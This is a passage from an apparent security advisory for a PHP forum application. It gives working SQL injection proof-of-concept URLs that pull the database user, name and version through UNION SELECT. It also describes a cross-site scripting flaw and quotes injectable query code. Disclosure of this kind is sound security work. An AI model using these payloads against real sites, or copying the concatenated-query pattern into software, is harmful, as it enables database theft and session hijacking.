User tainted data is used when creating the database query that will be executed on the database management system (DBMS). An attacker can inject own SQL syntax thus initiate reading, inserting or deleting database entries or attacking the underlying operating system depending on the query, DBMS and configuration. POC: http://target/nano/category.php?id=9%20and%201%20div%202%20union%20select%201,concat%28user%28%29,0x3a3a,database%28%29,0x3a3a,version%28%29%29,3 http://target/nano/topic.php?id=10%20and%201%20div%200%20union%20select%201,concat%28user%28%29,0x3a3a,database%28%29,0x3a3a,version%28%29%29 ##################################################### VULNERABILITY: Cross Site Scripting (Create_topic.php) ##################################################### /category.php (LINE: 106-119) ----------------------------------------------------------------------------- LINE 106-119: $topicid = mysql_insert_id(); $sql = "INSERT INTO posts(post_content, post_date, post_topic, post_by) VALUES ('" . mysql_real_escape_string($_POST['post_content']) . "', NOW(), " . $topicid . ", " . $_SESSION['user_id'] . " )"; $result = mysql_query($sql); ----------------------------------------------------------------------------- ##################################################### DESCRIPTION FOR CROSS SITE SCRIPTING ##################################################### An attacker might execute arbitrary HTML/JavaScript Code in the clients browser context with this security vulnerability. User tainted data is embedded into the HTML output by the application and rendered by the users browser, thus allowing an attacker to embed and render malicious code. Preparing a malicious link will lead to an execution of this malicious code in another users browser context when clicking the link. This can lead to local website defacement, phishing or cookie stealing and session hijacking.
